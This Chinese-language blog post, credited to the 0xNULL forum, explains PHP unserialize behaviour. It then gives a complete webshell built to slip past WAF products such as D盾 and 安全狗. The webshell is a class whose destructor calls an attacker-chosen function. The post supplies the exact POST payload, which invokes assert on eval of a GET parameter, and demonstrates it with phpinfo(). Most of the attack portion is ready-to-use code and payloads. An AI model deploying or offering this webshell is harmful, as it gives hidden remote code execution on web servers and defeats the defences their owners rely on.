利用PHP反序列化免杀D盾、安全狗等WAF软件

bypasswaf-php

PHP反序列化介绍:

在PHP进行反序列化时,会将序列化中的变量传入类中,并且调用__destuct等魔法函数。

TestCode1:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class A{
public $name = 'xxxx';

function __destruct(){
echo $this->name;
}
}

echo serialize(new A());

?>

输出:

xxxxO:1:“A”:1:{s:4:“name”;s:4:“xxxx”;}

TestCode2:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class A{
public $name = 'xxxx';

function __destruct(){
echo $this->name;
}
}

unserialize('O:1:"A":1:{s:4:"name";s:9:"wogaosuni";}');

?>

输出:

wogaosuni

可以发现原来的变量已经被我们替换了。

利用反序列化写马绕过D盾等WAF:

代码不做过多解释,啥子都能看明白

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class A{
public $name;
public $male;

function __destruct(){
$a = $this->name;
$a($this->male);
}
}

unserialize($_POST['un']);
?>

POST传参传入

un=O:1:”A”:2:{s:4:”name”;s:6:”assert”;s:4:”male”;s:16:”eval($_GET[“x”])”;}

GET传参传入:

x=phpinfo();

效果:

1.png

2.png

3.png

来源 0xNULL 论坛。

About 0xNULL sec

  1. 0xNULL sec是一个封闭的网络安全知识交流小聚集地,我们希望社区的人员相互扶持相互帮助。
    1. 我们致力于分享网络安全知识 参与技术问题讨论 推动网络安全进步。
    2. 作为专业的安全技术交流平台,0xNULL sec 无任何盈利与商业性质
      4.所有 0xNULL sec 大小事务,凡是有疑惑想与管理团队反馈的,请联系邮箱:0xNull.org@protonmail.com

0xNULL邀请码获得方式:请移步至0xNULL论坛查看注册贴或者请狂点我

坚持原创技术分享,您的支持将鼓励我继续创作!
-------------本文结束感谢您的阅读-------------